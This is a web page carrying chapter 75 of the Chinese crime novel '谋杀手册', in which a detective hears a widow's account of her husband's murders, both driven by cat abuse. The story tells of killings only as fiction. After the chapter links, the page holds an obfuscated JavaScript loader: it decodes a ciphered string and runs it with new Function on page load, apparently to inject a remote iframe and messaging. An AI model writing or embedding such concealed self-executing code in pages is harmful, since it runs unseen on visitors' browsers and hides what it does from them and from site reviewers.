返回

谋杀手册

首页
关灯
护眼
字体:
第七十五章 人不如猫
(手机请访问 m.duxs8.com)十五章节人不如猫

在往后的一段时间,左凌风每天就这样生活着,有时候也拿着自己的私房钱捐赠那些猫咪治疗项目,但他永远都想不到,虐猫的这种事情,有一天居然会被自己碰到。

那一天,左凌风就跟往常一样,上午吃完早饭就开车来到猫舍观察交配完毕的宠物猫有没有被配上,可在路途中,他竟然看见有个穿的跟流浪汉似的男人,左手抓着一只猫,右手拿着一把刀,左凌风上前阻止,却被那个流浪汉反驳,说不吃猫,没钱难道要吃人肉吗?

就这一句话,左凌风顿时垭口无言,无奈之下,他只能用两百块钱,买了一只野猫,并将那只野猫放入自己的猫舍。

后来,这件事情被申潇知道后,也没说什么,还是那一句,自己老公开心就可以。

左凌风对猫舍里面的猫都很负,因条件没有这么好,渐渐地,他们开始负担不起那么多野猫的生活,所以无奈之下,两人只能决定发出领养通告,免费领养,前提是要对猫好,不能因为是野猫,就弃之不理。

发出领养通告后的几天,两夫妻的手机都快要爆了,一百多只猫瞬间就变成了五六只,这时,康云溪的一通电话,让左凌风决定将自己最心爱的一只叫做小黑的猫送给她领养,事实上,康云溪也拿到了猫,可就在康云溪拿走小黑的第二个礼拜,他就觉得有点儿不对了,因为自己每次浏览康云溪的朋友圈,却总浏览不到小黑的日常生活。

他也曾好几次发送文字微信,要求见一下小黑,但都因康云溪说她在外面而推掉了,有一次,他还上门寻找,可康云溪的父母却愣是不知道,康云溪养了一只猫,最后,他在康云溪家附近,居然就找到了小黑的骸骨。

我问申潇,她怎么能确定那是小黑,说不定是其他的猫呢?

而申潇却说,小黑曾经被人虐待过,左腿残疾,是左凌风花了三千多块钱,去宠物医院治好的,从此之后,小黑就跟左凌风非常亲昵,两个人就跟父子一样。

我缓缓地点了点头,让她继续说下去。

紧接着,申潇告诉我,本来是没什么事的,只不过是死了一只猫而已,左凌风虽然非常难过,但也总不至于为了一只猫去杀死康云溪,他要的,只不过是康云溪的一个说法。

“当时我说过,让他发朋友圈去谴责康云溪的做法,可却被凌风拒绝了,他说不想把事情闹大,毕竟对方还是一个学生,没有必要把人家弄得那么臭,那个时候我还笑着骂他,说他总是当老好人,可别人,却不领情。”

我坐在一旁没有说话,只是默默地看着申潇,回忆着当时的事情。

就这样,左凌风在康云溪的学校门口找到了康云溪,可谁知道当左凌风刚开口询问小黑是怎么回事的时候,康云溪就像是变成了另外一个人,开口闭口的就说自己不认识左凌风,也不知道什么小黑的事情,而当左凌风拿出他们之间的聊天记录给她看时,由于行为举止过于激动,他愣是被一旁经过的男生当成登徒子,拖到一旁暴打了一顿。

其实我听到这里,有点儿听不下去了,她说了半天,一直都没有说重点,而我却又不能催促,她好不容易肯告诉我们事情的真相,可别被我这一催促,弄得适得其反了。

“凌风被打了之后,我暗地里发送了一则有关于康姓女学生虐猫致死的文章用来谴责康云溪,这文章发送的第一个地方,就是康云溪学校的论坛,但却不明不白的被删了,就在那一段时间,我在宠物群内看到了一则有关于本市虐猫群的消息,他们专门将一些自己虐猫的过程拍摄下来然后发群里,我知道,看到这些画面,我丈夫一定受不了,所以我也一直没提,可我不提,并不代表他不知道……”

说到这里,我将那杯还没有动过的茶水又放在了她的面前,她喝了水后,继续说道:“凌风本就是一个特别喜欢猫的人,所以他在看到那些虐猫的视频以及照片之后,显得非常的愤怒,也就是在那一天,我中午去给凌风送中饭,他接了个电话,说是有人来领猫,但是那个时候,因为康云溪的事情,我已经停止领养事项了,再看他慌慌张张的样子,我觉得有问题,所以就尾随其后跟着凌风到了猫舍,可我刚下出租车,就看到凌风在追着一个流浪汉模样的男人,我想上去劝阻,可当我跑到凌风身后的时候,凌风竟然抽出一把匕首,和门内的人说了什么,紧接着,他敲了敲门,再然后,他拿起刀子……直接就朝猫眼捅了过去。”

我看着申潇,接着说道:“左凌风做完这些事情之后,又做了什么?”

“我老公拿出了猫舍的钥匙,然后打开了猫舍大门,我在不远处看见了一个男人,他那时正非常痛苦的蹲在玄关前,那一只手,好像还捂着自己的眼睛,再然后,凌风……就把猫舍的门给关上了。”申潇抬头,满是泪水的说道。

“之后呢?”我继续问道。

申潇摇了摇头,说她知道,左凌风做的事情都是有道理的,如果左凌风觉得那个男人该死,那个男人就该死,她不可能报警,也不可能出卖自己的丈夫,很显然,在爱情面前,申潇什么都可以妥协,哪怕是别人的生命。

至今为止,我们都不知道那个男人是谁,但按照申潇所说,左凌风很可能是被那些虐猫的照片所刺激了,所以才会起了杀心,想要将那些草菅猫命的人,全部杀光。

别说不可能,你永远都无法想象,你现在欺负的老实人,发起怒来,会变成什么样,左凌风也是一样,一个刺激点让他彻夜难眠,甚至几天几夜的不睡觉,脑子里面都在回放那些场景,不用多久,一个在别人面前的好好先生,就成为了杀人不眨眼的凶徒。

“康云溪呢?她是怎么死的?你是什么时候知道,左凌风用别人,假扮成自己,来混淆我们警方的视线的?”我看着申潇,继续问道。

后者告诉我,在左凌风杀死那名流浪汉回来之后,他很激动的拉着自己来到了客厅,说他杀人了,当然,那时申潇早就知道左凌风做的事,但为了不让左凌风担心,她佯装震惊的拉着左凌风问他该怎么办,甚至于她都在网上订了两张机票,想过远走高飞。

可左凌风却那一双沾满了鲜血的双眼,却始终都不再透彻,后者将自己偷天换日的计划告诉了自己,并让曾经做过彩妆师的申潇帮忙,将自己化成了猫脸老太太的样子,佯装是猫来复仇,企图用鬼神之说,来震慑警方。

申潇答应了,之后,她帮左凌风将康云溪诱出,再将其杀害,然后将现场伪装成康云溪是因杀死了左凌风,彻夜难眠,畏罪自杀的假象,只可惜,他们的动作太过于拙劣,被方源一眼看出。

而那一具尸体始终都不是自己的,所以左凌风才想,用强硫酸毁了尸体,这样,就再也没有人能够证明,左凌风还活在这个世界上了。

“为了一个谎言,来圆另外一个谎言,真相永远都是真相,不可能被磨灭,申潇,你对左凌风的爱太过于偏激,哪怕,你当时以妻子的身份劝左凌风去自首,现在,也不会弄成这样。”我看着申潇的双眼,而后缓慢的说道。

这次审讯,我一共用了三个小时零五分,已经创下了刑侦大队整年以来,审讯最慢的记录,可没有办法,对于一个刚刚死了老公的女人来说,她愿意坐在这里,告诉你这些,已经是很不容易了。

我回到办公室后,将方源之前给左凌风录的口供和我给申潇录的口供进行了对比,口供大致一样,不一样的地方,可能也只有左凌风强烈的告诉方源,申潇是被自己拉下水的,从始至终,她都不知道自己做过的事情,她是无辜的。

可事情发展到这里,又有谁会相信,申潇是无辜的呢?

我用了一个晚上的时间代替方源书写着结案报告,而在报告的最后,我用一行红字,替代了方源的签名。

“这是一个以猫为中心的恶心杀人案,凶手有罪,从犯也有罪,我们,也有罪。”

是啊,左凌风错了,他从一开始就已经本末倒置,虽说猫也是一条生命,但它存在的价值,却远远比不上人,这一条生物链永远都不会改变,申潇错了,她将做左凌风看做了天,只要他做的事情,她就盲目的跟从,从而导致,他失去了丈夫,左凌风的父母,失去了儿子。

同时,我们也错了,我们错在纵容那些虐待动物的人们,因为法律遏制不了他们,所以在这个世界的任何一个角落,很可能还会再出现一个,两个,甚至数十个左凌风,以惩戒的名义,用自己的方式,去惩戒那些虐待动物的人。

“从犯申潇,主动自首,态度坦白,请公检处从轻处罚……我说,真要替她求情?如果没有她,相信我们早就知道左凌风不是第一被害人了……“

这时,李炎不知从哪儿冒了出来,在我身后,双眼直勾勾的看着我面前的那一份结案报告,一脸不情愿的说道。

“怎么?方源醒了?”我将面前的结案报告重新放回了抽屉,而后缓缓地说道。

“没醒,医生说他脑部收到了强烈撞击,不过好在没有基中太阳穴,等他醒了休息几天就行了。”李炎笑了笑,而后将一根棒棒糖塞入了我的嘴里,笑着说道。

我伸了个懒腰,而后又打了个哈欠,抬头问道:“李炎,你说我来这刑侦大队也有五个月了,下个月能不能转正了?头儿每次都以正在调查案件为由让我等等,现在第三个案子都已经破了,他该不会……还不让我转正吧?”

说实话,我是个男孩,男孩子从小就喜欢枪械,我家里随处可见的,都是一些高仿手枪,但自我警校毕业,就没摸过真枪,好不容易到了刑侦大队,做了半年,方源却以各种理由不让我转正,这钱少是一方面,最起码,你让我摸摸枪啊,可就连这么简单的恳求,都没有。

李炎惊讶的看了我一眼,而后问道:“你特么还没转正?不对啊,我来这里第二个月就转正了,会不会是头儿忘了?这段时间的确是太忙了,估计,下个月你就应该是正式队员了。”

我点了点头,继续说道:“这样啊,那没事了,哎,忙了两三天了,终于可以回家睡个好觉了。”

说话间,我拿起我的外套就穿在了身上,二月的本市,气温已经急速下降到零下六度了,而我,却就穿着一件皮夹克,穿梭在这凌晨三点的冷风中。

“您拨打的电话已关机,请稍后再拨。”

等我走到一家名叫茂兴宾馆门口的时候,我突然想起了我那老同学,他之后给我发了一个定位,似乎就是这家宾馆,说来也巧,宾馆离我家不足五十米,这么一想,反正要见面,这个点儿恐怕那货还没睡觉,这不,我站在宾馆门口,直接就掏出了手机,给他打了个电话。

可我一连打了五六个,对方一直提醒已关机,我看了一眼时间,狠敲了一下脑门,尼玛,都已经五点了,我还以为只有一两点呢,所以我也没多想,直接就从这宾馆门口走回了家里,想着明天正好是休息日,所以明天再来找他也不晚。

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();